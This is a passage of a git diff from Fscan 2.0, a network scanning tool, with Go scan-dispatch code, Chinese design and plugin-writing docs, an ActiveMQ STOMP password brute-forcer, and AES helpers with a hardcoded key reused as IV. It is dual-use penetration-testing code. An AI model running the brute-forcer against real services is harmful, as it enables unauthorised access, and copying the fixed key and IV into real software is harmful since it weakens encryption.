hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogInfo("开始主机扫描")
|
||||
executeScan(hosts, info, ch, wg)
|
||||
}
|
||||
|
||||
// getValidPlugins 获取指定模式下的有效插件列表
|
||||
// mode: 扫描模式
|
||||
// 返回: 有效插件映射表
|
||||
func getValidPlugins(mode string) map[string]bool {
|
||||
validPlugins := make(map[string]bool)
|
||||
for _, plugin := range Common.PluginGroups[mode] {
|
||||
validPlugins[plugin] = true
|
||||
}
|
||||
return validPlugins
|
||||
}
|
||||
|
||||
// validateScanMode 验证扫描模式的合法性
|
||||
// validPlugins: 有效插件列表
|
||||
// mode: 扫描模式
|
||||
// 返回: 错误信息
|
||||
func validateScanMode(validPlugins map[string]bool, mode string) error {
|
||||
if Common.ScanMode == "" || Common.ScanMode == "All" {
|
||||
Common.ScanMode = mode
|
||||
} else if _, exists := validPlugins[Common.ScanMode]; !exists {
|
||||
return fmt.Errorf("无效的%s插件: %s", mode, Common.ScanMode)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// executeScan 执行主扫描流程
|
||||
// hosts: 目标主机列表
|
||||
// info: 主机信息
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
var targetInfos []Common.HostInfo
|
||||
|
||||
// 处理主机和端口扫描
|
||||
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||
// 检查主机存活性
|
||||
if shouldPingScan(hosts) {
|
||||
hosts = CheckLive(hosts, Common.UsePing)
|
||||
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||
if Common.IsICMPScan() {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 获取存活端口
|
||||
alivePorts := getAlivePorts(hosts)
|
||||
if len(alivePorts) > 0 {
|
||||
targetInfos = prepareTargetInfos(alivePorts, info)
|
||||
}
|
||||
}
|
||||
|
||||
// 添加URL扫描目标
|
||||
targetInfos = appendURLTargets(targetInfos, info)
|
||||
|
||||
// 执行漏洞扫描
|
||||
if len(targetInfos) > 0 {
|
||||
Common.LogInfo("开始漏洞扫描")
|
||||
executeScans(targetInfos, ch, wg)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldPingScan 判断是否需要执行ping扫描
|
||||
// hosts: 目标主机列表
|
||||
// 返回: 是否需要ping扫描
|
||||
func shouldPingScan(hosts []string) bool {
|
||||
return (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan()
|
||||
}
|
||||
|
||||
// getAlivePorts 获取存活端口列表
|
||||
// hosts: 目标主机列表
|
||||
// 返回: 存活端口列表
|
||||
func getAlivePorts(hosts []string) []string {
|
||||
var alivePorts []string
|
||||
|
||||
// 根据扫描模式选择端口扫描方式
|
||||
if Common.IsWebScan() {
|
||||
alivePorts = NoPortScan(hosts, Common.Ports)
|
||||
} else if len(hosts) > 0 {
|
||||
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
|
||||
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
if Common.IsPortScan() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 合并额外指定的端口
|
||||
if len(Common.HostPort) > 0 {
|
||||
alivePorts = append(alivePorts, Common.HostPort...)
|
||||
alivePorts = Common.RemoveDuplicate(alivePorts)
|
||||
Common.HostPort = nil
|
||||
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
}
|
||||
|
||||
return alivePorts
|
||||
}
|
||||
|
||||
// appendURLTargets 添加URL扫描目标
|
||||
// targetInfos: 现有目标列表
|
||||
// baseInfo: 基础主机信息
|
||||
// 返回: 更新后的目标列表
|
||||
func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||
for _, url := range Common.URLs {
|
||||
urlInfo := baseInfo
|
||||
urlInfo.Url = url
|
||||
targetInfos = append(targetInfos, urlInfo)
|
||||
}
|
||||
return targetInfos
|
||||
}
|
||||
|
||||
// prepareTargetInfos 准备扫描目标信息
|
||||
// alivePorts: 存活端口列表
|
||||
// baseInfo: 基础主机信息
|
||||
// 返回: 目标信息列表
|
||||
func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||
var infos []Common.HostInfo
|
||||
for _, targetIP := range alivePorts {
|
||||
hostParts := strings.Split(targetIP, ":")
|
||||
if len(hostParts) != 2 {
|
||||
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
||||
continue
|
||||
}
|
||||
info := baseInfo
|
||||
info.Host = hostParts[0]
|
||||
info.Ports = hostParts[1]
|
||||
infos = append(infos, info)
|
||||
}
|
||||
return infos
|
||||
}
|
||||
|
||||
// ScanTask 扫描任务结构体
|
||||
type ScanTask struct {
|
||||
pluginName string // 插件名称
|
||||
target Common.HostInfo // 目标信息
|
||||
}
|
||||
|
||||
// executeScans 执行扫描任务
|
||||
// targets: 目标列表
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
mode := Common.GetScanMode()
|
||||
|
||||
// 获取要执行的插件列表
|
||||
pluginsToRun, isSinglePlugin := getPluginsToRun(mode)
|
||||
|
||||
var tasks []ScanTask
|
||||
actualTasks := 0
|
||||
loadedPlugins := make([]string, 0)
|
||||
|
||||
// 收集扫描任务
|
||||
for _, target := range targets {
|
||||
targetPort, _ := strconv.Atoi(target.Ports)
|
||||
for _, pluginName := range pluginsToRun {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if !exists {
|
||||
continue
|
||||
}
|
||||
taskAdded, newTasks := collectScanTasks(plugin, target, targetPort, pluginName, isSinglePlugin)
|
||||
if taskAdded {
|
||||
actualTasks += len(newTasks)
|
||||
loadedPlugins = append(loadedPlugins, pluginName)
|
||||
tasks = append(tasks, newTasks...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理插件列表
|
||||
finalPlugins := getUniquePlugins(loadedPlugins)
|
||||
Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", ")))
|
||||
|
||||
// 初始化进度条
|
||||
initializeProgressBar(actualTasks)
|
||||
|
||||
// 执行扫描任务
|
||||
for _, task := range tasks {
|
||||
AddScan(task.pluginName, task.target, ch, wg)
|
||||
}
|
||||
}
|
||||
|
||||
// getPluginsToRun 获取要执行的插件列表
|
||||
// mode: 扫描模式
|
||||
// 返回: 插件列表和是否为单插件模式
|
||||
func getPluginsToRun(mode string) ([]string, bool) {
|
||||
var pluginsToRun []string
|
||||
isSinglePlugin := false
|
||||
|
||||
if plugins := Common.GetPluginsForMode(mode); plugins != nil {
|
||||
pluginsToRun = plugins
|
||||
} else {
|
||||
pluginsToRun = []string{mode}
|
||||
isSinglePlugin = true
|
||||
}
|
||||
|
||||
return pluginsToRun, isSinglePlugin
|
||||
}
|
||||
|
||||
// collectScanTasks 收集扫描任务
|
||||
// plugin: 插件信息
|
||||
// target: 目标信息
|
||||
// targetPort: 目标端口
|
||||
// pluginName: 插件名称
|
||||
// isSinglePlugin: 是否为单插件模式
|
||||
// 返回: 是否添加任务和任务列表
|
||||
func collectScanTasks(plugin Common.ScanPlugin, target Common.HostInfo, targetPort int, pluginName string, isSinglePlugin bool) (bool, []ScanTask) {
|
||||
var tasks []ScanTask
|
||||
taskAdded := false
|
||||
|
||||
if WebScan || LocalScan || isSinglePlugin || len(plugin.Ports) == 0 || plugin.HasPort(targetPort) {
|
||||
taskAdded = true
|
||||
tasks = append(tasks, ScanTask{
|
||||
pluginName: pluginName,
|
||||
target: target,
|
||||
})
|
||||
}
|
||||
|
||||
return taskAdded, tasks
|
||||
}
|
||||
|
||||
// getUniquePlugins 获取去重后的插件列表
|
||||
// loadedPlugins: 已加载的插件列表
|
||||
// 返回: 去重并排序后的插件列表
|
||||
func getUniquePlugins(loadedPlugins []string) []string {
|
||||
uniquePlugins := make(map[string]struct{})
|
||||
for _, p := range loadedPlugins {
|
||||
uniquePlugins[p] = struct{}{}
|
||||
}
|
||||
|
||||
finalPlugins := make([]string, 0, len(uniquePlugins))
|
||||
for p := range uniquePlugins {
|
||||
finalPlugins = append(finalPlugins, p)
|
||||
}
|
||||
|
||||
sort.Strings(finalPlugins)
|
||||
return finalPlugins
|
||||
}
|
||||
|
||||
// initializeProgressBar 初始化进度条
|
||||
// actualTasks: 实际任务数量
|
||||
func initializeProgressBar(actualTasks int) {
|
||||
if Common.ShowProgress {
|
||||
Common.ProgressBar = progressbar.NewOptions(actualTasks,
|
||||
progressbar.OptionEnableColorCodes(true),
|
||||
progressbar.OptionShowCount(),
|
||||
progressbar.OptionSetWidth(15),
|
||||
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
|
||||
progressbar.OptionSetTheme(progressbar.Theme{
|
||||
Saucer: "[green]=[reset]",
|
||||
SaucerHead: "[green]>[reset]",
|
||||
SaucerPadding: " ",
|
||||
BarStart: "[",
|
||||
BarEnd: "]",
|
||||
}),
|
||||
progressbar.OptionThrottle(65*time.Millisecond),
|
||||
progressbar.OptionUseANSICodes(true),
|
||||
progressbar.OptionSetRenderBlankState(true),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// finishScan 完成扫描任务
|
||||
// wg: 等待组
|
||||
func finishScan(wg *sync.WaitGroup) {
|
||||
wg.Wait()
|
||||
if Common.ProgressBar != nil {
|
||||
Common.ProgressBar.Finish()
|
||||
fmt.Println()
|
||||
}
|
||||
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
||||
}
|
||||
|
||||
// Mutex 用于保护共享资源的并发访问
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
// AddScan 添加扫描任务并启动扫描
|
||||
// plugin: 插件名称
|
||||
// info: 目标信息
|
||||
// ch: 并发控制通道
|
||||
// wg: 等待组
|
||||
func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
*ch <- struct{}{}
|
||||
wg.Add(1)
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
wg.Done()
|
||||
<-*ch
|
||||
}()
|
||||
|
||||
atomic.AddInt64(&Common.Num, 1)
|
||||
ScanFunc(&plugin, &info)
|
||||
updateScanProgress(&info)
|
||||
}()
|
||||
}
|
||||
|
||||
// ScanFunc 执行扫描插件
|
||||
// name: 插件名称
|
||||
// info: 目标信息
|
||||
func ScanFunc(name *string, info *Common.HostInfo) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
}()
|
||||
|
||||
plugin, exists := Common.PluginManager[*name]
|
||||
if !exists {
|
||||
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
|
||||
return
|
||||
}
|
||||
|
||||
if err := plugin.ScanFunc(info); err != nil {
|
||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
}
|
||||
|
||||
// updateScanProgress 更新扫描进度
|
||||
// info: 目标信息
|
||||
func updateScanProgress(info *Common.HostInfo) {
|
||||
Common.OutputMutex.Lock()
|
||||
atomic.AddInt64(&Common.End, 1)
|
||||
if Common.ProgressBar != nil {
|
||||
fmt.Print("\033[2K\r")
|
||||
Common.ProgressBar.Add(1)
|
||||
}
|
||||
Common.OutputMutex.Unlock()
|
||||
}
|
16624
Core/nmap-service-probes.txt
Normal file
16624
Core/nmap-service-probes.txt
Normal file
File diff suppressed because it is too large
Load Diff
155
Docs/Fscan2.0介绍.md
Normal file
155
Docs/Fscan2.0介绍.md
Normal file
@ -0,0 +1,155 @@
|
||||
# Fscan2.0使用指南
|
||||
|
||||
大家好,我是ZacharyZcR,很荣幸能参与Fcan的重构工作,本文档将会带您详细了解Fcan2.0的新特性。
|
||||
|
||||
目前已经完成的新增功能:
|
||||
|
||||
新增Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
|
||||
|
||||
新增SYN和UDP端口扫描。
|
||||
|
||||
## 0x01 代码结构重构
|
||||
|
||||
代码架构经过全面重构,现已优化为四个主要模块:Common、Core、Plugins和WebScan。
|
||||
|
||||
每个模块都有其明确的职责划分:
|
||||
|
||||
### Common 模块
|
||||
负责基础功能实现,包括参数解析和配置管理。作为底层支撑模块,为其他模块提供基础服务支持。
|
||||
|
||||
### Core 模块
|
||||
作为Fscan的核心引擎,实现端口扫描等基础功能。该模块是整个系统的中枢,负责协调和调度其他功能模块。
|
||||
|
||||
### Plugins 模块
|
||||
提供多样化的扫描插件实现,支持功能扩展和定制化需求。
|
||||
|
||||
### WebScan 模块
|
||||
|
||||
专门负责Web应用层面的扫描功能,提供深度的Web安全评估能力。
|
||||
|
||||
### 代码规范
|
||||
为提升代码质量和可维护性,我们制定了以下规范:
|
||||
|
||||
1. 文件命名采用大驼峰命名法,所有文件名以大写字母开头
|
||||
2. 内部函数和方法的命名保持灵活性,以实用性为准
|
||||
3. 使用LLM技术对全部代码进行了注释补充和优化
|
||||
4. 完善了代码文档,便于开发者理解和进行二次开发
|
||||
|
||||
## 0x02 插件热插拔设计
|
||||
|
||||
Fcan 2.0采用了基于反射机制的插件热插拔架构,实现了插件的灵活添加和移除。以下是详细说明:
|
||||
|
||||
### 插件注册机制
|
||||
插件注册通过 `Core/Registry.go` 文件实现,使用简洁的注册语法:
|
||||
|
||||
```go
|
||||
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
||||
Name: "MySQL",
|
||||
Ports: []int{3306, 3307},
|
||||
ScanFunc: Plugins.MysqlScan,
|
||||
})
|
||||
```
|
||||
|
||||
注册结构包含三个关键要素:
|
||||
- 插件标识符(小写字符串)
|
||||
- 插件名称(显示名称)
|
||||
- 默认扫描端口
|
||||
- 具体实现函数
|
||||
|
||||
### 端口配置
|
||||
在 `Common/Ports.go` 中定义了多组预设端口配置:
|
||||
|
||||
- ServicePorts:常用服务端口
|
||||
- DbPorts:数据库相关端口
|
||||
- WebPorts:Web服务端口
|
||||
- AllPorts:全端口范围(1-65535)
|
||||
- MainPorts:核心服务端口
|
||||
|
||||
### 扫描模式配置
|
||||
`Common/ParseScanMode.go` 中定义了默认扫描模式分组:
|
||||
|
||||
```go
|
||||
var pluginGroups = map[string][]string{
|
||||
ModeAll: [...], // 全量扫描
|
||||
ModeBasic: [...], // 基础扫描
|
||||
ModeDatabase: [...], // 数据库扫描
|
||||
ModeWeb: [...], // Web服务扫描
|
||||
ModeService: [...], // 基础服务扫描
|
||||
ModeVul: [...], // 漏洞扫描
|
||||
ModeLocal: [...], // 本地信息收集
|
||||
}
|
||||
```
|
||||
|
||||
### 使用方式
|
||||
插件注册后即可通过 `-m` 参数调用,无需额外配置。这种设计既保证了扩展性,又维持了使用的简便性。若需要更多便捷功能,可通过修改相应配置文件实现。
|
||||
|
||||
## 0x03 Fscan-Lab
|
||||
|
||||
Fscan-Lab是一个集成的测试环境平台,专为安全学习和功能验证设计。
|
||||
|
||||
### 功能特点
|
||||
|
||||
1. 预配置Docker环境
|
||||
- 位于TestDocker目录下
|
||||
- 包含多种预设测试场景
|
||||
- 环境经过完整测试和验证
|
||||
|
||||
2. 使用场景
|
||||
- 新手用户快速入门
|
||||
- 功能学习与实践
|
||||
- 插件开发测试验证
|
||||
- 单点功能调试
|
||||
|
||||
### 优势
|
||||
|
||||
- 即开即用:预置环境免去繁琐配置
|
||||
- 标准化:统一的测试环境确保结果可复现
|
||||
- 安全可控:本地环境避免误操作风险
|
||||
- 快速验证:便于开发者进行功能测试
|
||||
|
||||
## 0x04 本地扫描与本地利用
|
||||
|
||||
Fscan 2.0正在开发一套全新的本地化功能模块,主要包含以下方向:
|
||||
|
||||
### 计划功能
|
||||
|
||||
1. 本地敏感信息搜集
|
||||
2. 本地提权检测与利用
|
||||
3. 隧道搭建功能
|
||||
4. 权限维持组件
|
||||
|
||||
### 开发状态
|
||||
|
||||
该模块目前处于积极开发阶段,我们正在努力确保每个功能的安全性和可靠性。这个新增模块将极大扩展Fscan的功能范围,使其成为一个更全面的安全评估工具。
|
||||
|
||||
### 未来展望
|
||||
|
||||
我们将在确保功能稳定性的基础上,逐步发布这些新特性。欢迎社区持续关注项目进展,也欢迎有兴趣的开发者参与贡献。
|
||||
|
||||
具体发布时间和详细功能列表将在开发完成后公布,敬请期待。
|
||||
|
||||
## 0x05 更多功能与开发说明
|
||||
|
||||
### 持续开发
|
||||
|
||||
Fscan 2.0目前处于活跃开发阶段:
|
||||
- 最新代码会持续发布到dev分支
|
||||
- 更新频率较高
|
||||
- 功能不断优化和扩展
|
||||
|
||||
### 版本选择建议
|
||||
|
||||
由于dev分支的特点:
|
||||
- 更新速度快
|
||||
- 不保证完全稳定
|
||||
- 可能包含实验性功能
|
||||
|
||||
建议用户根据实际需求选择合适的版本:
|
||||
- 追求稳定性的用户建议使用主分支
|
||||
- 需要尝试新功能的用户可以使用dev分支
|
||||
|
||||
### 致谢
|
||||
|
||||
感谢您对Fscan 2.0的关注。我们将继续完善功能,提供更好的使用体验。
|
||||
|
||||
ZacharyZcR
|
88
Docs/插件编写指南.md
Normal file
88
Docs/插件编写指南.md
Normal file
@ -0,0 +1,88 @@
|
||||
# FScan 插件开发指南
|
||||
|
||||
## 1. 创建插件
|
||||
在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
|
||||
|
||||
```go
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
)
|
||||
|
||||
func MyPluginScan(info *Common.HostInfo) error {
|
||||
// 1. 基础检查
|
||||
if info == nil {
|
||||
return errors.New("Invalid host info")
|
||||
}
|
||||
|
||||
// 2. 实现扫描逻辑
|
||||
result, err := doScan(info)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 3. 处理结果
|
||||
if result.Vulnerable {
|
||||
Common.LogSuccess(fmt.Sprintf("Found vulnerability in %s:%d", info.Host, info.Port))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
## 2. 注册插件
|
||||
在 `Core/Registry.go` 中注册你的插件:
|
||||
|
||||
```go
|
||||
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
|
||||
Name: "MyPlugin",
|
||||
Port: 12345, // 指定端口,如果是web类插件可设为0
|
||||
ScanFunc: Plugins.MyPluginScan,
|
||||
})
|
||||
```
|
||||
|
||||
## 3. 开发规范
|
||||
|
||||
### 插件结构
|
||||
- 每个插件应当是独立的功能模块
|
||||
- 使用清晰的函数名和变量名
|
||||
- 添加必要的注释说明功能和实现逻辑
|
||||
|
||||
### 错误处理
|
||||
```go
|
||||
// 推荐的错误处理方式
|
||||
if err != nil {
|
||||
return fmt.Errorf("plugin_name scan error: %v", err)
|
||||
}
|
||||
```
|
||||
|
||||
### 日志输出
|
||||
```go
|
||||
// 使用内置的日志函数
|
||||
Common.LogSuccess("发现漏洞")
|
||||
Common.LogError("扫描错误")
|
||||
```
|
||||
|
||||
## 4. 测试验证
|
||||
|
||||
- 编译整个项目确保无错误
|
||||
- 实际环境测试插件功能
|
||||
- 验证与其他插件的兼容性
|
||||
|
||||
## 5. 提交流程
|
||||
|
||||
1. Fork 项目仓库
|
||||
2. 创建功能分支
|
||||
3. 提交代码更改
|
||||
4. 编写清晰的提交信息
|
||||
5. 创建 Pull Request
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 遵循 Go 编码规范
|
||||
- 保证代码可读性和可维护性
|
||||
- 禁止提交恶意代码
|
||||
- 做好异常处理和超时控制
|
||||
- 避免过度消耗系统资源
|
||||
- 注意信息安全,不要泄露敏感数据
|
189
Plugins/ActiveMQ.go
Normal file
189
Plugins/ActiveMQ.go
Normal file
@ -0,0 +1,189 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试默认账户 admin:admin")
|
||||
|
||||
// 首先测试默认账户
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := ActiveMQConn(info, "admin", "admin")
|
||||
if flag {
|
||||
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: admin 密码: admin", target)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "activemq",
|
||||
"username": "admin",
|
||||
"password": "admin",
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("ActiveMQ服务 %s 默认账户尝试失败: %v", target, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["activemq"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["activemq"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := ActiveMQConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "activemq",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("ActiveMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// ActiveMQConn 统一的连接测试函数
|
||||
func ActiveMQConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// STOMP协议的CONNECT命令
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
|
||||
|
||||
// 发送认证请求
|
||||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
respBuf := make([]byte, 1024)
|
||||
n, err := conn.Read(respBuf)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 检查认证结果
|
||||
response := string(respBuf[:n])
|
||||
|
||||
if strings.Contains(response, "CONNECTED") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("未知响应: %s", response)
|
||||
}
|
127
Plugins/Base.go
Normal file
127
Plugins/Base.go
Normal file
@ -0,0 +1,127 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// ReadBytes 从连接读取数据直到EOF或错误
|
||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
||||
size := 4096 // 缓冲区大小
|
||||
buf := make([]byte, size)
|
||||
var result []byte
|
||||
var lastErr error
|
||||
|
||||
// 循环读取数据
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
break
|
||||
}
|
||||
|
||||
result = append(result, buf[0:count]...)
|
||||
|
||||
// 如果读取的数据小于缓冲区,说明已经读完
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 如果读到了数据,则忽略错误
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
return result, lastErr
|
||||
}
|
||||
|
||||
// 默认AES加密密钥
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
||||
func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 转为字节数组
|
||||
origData := []byte(orig)
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
blockSize := block.BlockSize()
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
|
||||
// 创建CBC加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 加密数据
|
||||
encrypted := make([]byte, len(origData))
|
||||
blockMode.CryptBlocks(encrypted, origData)
|
||||
|
||||
// base64编码
|
||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
||||
}
|
||||
|
||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||
func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 解密数据
|
||||
origData := make([]byte, len(cryptedBytes))
|
||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
||||
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
// PKCS7Padding 对数据进行PKCS7填充
|
||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(data)%blockSize
|
||||
